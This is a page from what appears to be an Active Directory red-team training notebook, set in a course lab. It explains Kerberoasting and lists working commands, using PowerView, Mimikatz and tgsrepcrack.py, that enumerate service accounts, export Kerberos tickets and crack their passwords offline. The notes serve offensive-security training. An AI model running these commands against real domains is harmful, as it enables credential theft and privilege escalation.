🖌️
AD-RED-TEAM
  • Active Directory Red Team
  • PowerShell Basics
    • Tips And Tricks
  • I. Active Directory Enumeration
    • User Hunting Domain Enumeration
    • Forest and Domains
    • User Enumeration
    • Groups Enumeration
    • Computers/Server Enumeration
    • Shares Enumeration
    • GP And OU Enumeration
    • ACL Domain Enumeration
    • Trust Domain Enumeration
  • II. Local Privilege Escalation
    • Lateral Movement
    • PowerUp Exploits
  • III. Domain Privilege Escalation
    • Forest Persistence – DCShadow
    • Trust Abuse - MSSQL Servers
    • Priv Esc – Across Forest using krbtgt Ticket
    • Priv Esc - Across Trusts using Trust Tickets
    • Priv Esc – DNSAdmins
    • Priv Esc - Constrained Delegation
    • Priv Esc – Unconstrained Delegation
    • Priv Esc - Targeted Kerberoasting - Set SPN
    • Targeted Kerberoasting - AS-REPs
    • Priv Esc - Kerberoast
  • IV. Domain Persistence and Dominance
    • Persistence ACLs - Security Descriptors
    • Persistence ACLs- Rights Abuse
    • Persistence ACL - AdminSDHolder
    • Persistence – Custom SSP
    • Persistence - DSRM
    • Persistence - Skeleton Key
    • Persistence - Silver Ticket
    • Persistence - Golden Ticket
  • V. Cross Trust Attacks
  • VI. Forest Persistence and Dominance
  • VII. Defenses – Monitoring
  • VIII. Defenses and bypass – Architecture and Work Culture Changes
  • IX. Defenses and Bypass – Deception
  • X. Defenses and Bypass – PowerShell
  • New Server
    • Move Lat-AppLocker
    • Move Lat-Invoke-Command
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  1. III. Domain Privilege Escalation

Priv Esc - Kerberoast

  • Offline cracking of service account passwords.

  • The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.

  • Service accounts are many times ignored (passwords are rarely changed) and have privileged access.

  • Password hashes of service accounts could be used to create Silver tickets.

Import-Module powerview.ps1

#Find User Accounts used as Service Accounts
Get-NetUser -SPN

#We are going after svcadmin MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local PrincipalName
Request-SPNTicket MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local

#Export All tickets
import-module ..\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::list /export"'
ls

#Crack the Service account password located in the C:\AD\Tools\kerberoast
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt 2-40a10000-student529@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi


#Import AD Module
Import-Module .\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.d
Import-Module .\ADModule-master\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

#Request a TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

Get-NetUser -SPN and Resuest-SPNTicket

python.exe .\tgsrepcrack.py .\10k-worst-pass.txt 2-40a10000-student529@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

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Last updated 4 years ago

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